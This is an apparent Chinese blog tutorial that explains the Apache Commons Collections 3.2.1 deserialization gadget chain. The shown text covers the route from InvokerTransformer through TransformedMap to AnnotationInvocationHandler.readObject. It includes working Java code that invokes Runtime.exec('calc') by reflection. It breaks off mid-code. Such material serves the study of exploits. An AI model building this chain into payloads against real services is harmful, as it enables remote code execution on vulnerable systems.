📰 来源: 博客园
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
入口:org.apache.commons.collections.Transformer
我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求
入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法
input,iMethodName,iParamTypes,iArgs都是可控的
//我们来回顾一下如何利用反射调用Runtime中的exec方法
Runtime r=Runtime.getRuntime();
Class c=r.getclass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");
//那么我们尝试用transform方法来调用
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);
可以看到,成功执行了命令,那么我们就找到了源头利用点了,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类
寻找某个类中的某个方法调用了transform方法
看到org.apache.commons.collections.map.TransformedMap下的checkSetValue
//我们找到该类的构造器和checkSetValue方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
//接受三个参数,第一个为Map,第二个和第三个就是Transformer我们需要得了,可控。
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;//这里是可控的
}
protected Object checkSetValue(Object value) {//接受一个对象类型的参数
return this.valueTransformer.transform(value);
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的in
}
但是这里有个问题,可以看到构造器和方法都是proteced权限,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate
一个静态 方法,这里我们就能控制参数
现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetvalue,看谁调用了它,并且value值可受控制
寻找合适的调用了checkSetValue的方法
在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类
当我们看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValue和getValue,所以我们只要对decorate这个map进行遍历setValue,由于``TransformedMap继承了 AbstractInputCheckedMapDecorator`类,因此当调用setValue时会去父类寻找
首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是protected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的副类,这个重写的方法刚好调用了checkSetValue方法
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class second {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorate.entrySet()){
entry.setValue(r);
}
}
}
但这只是一个插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能
追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object>
🔗 原文链接: 点击阅读原文
文章评论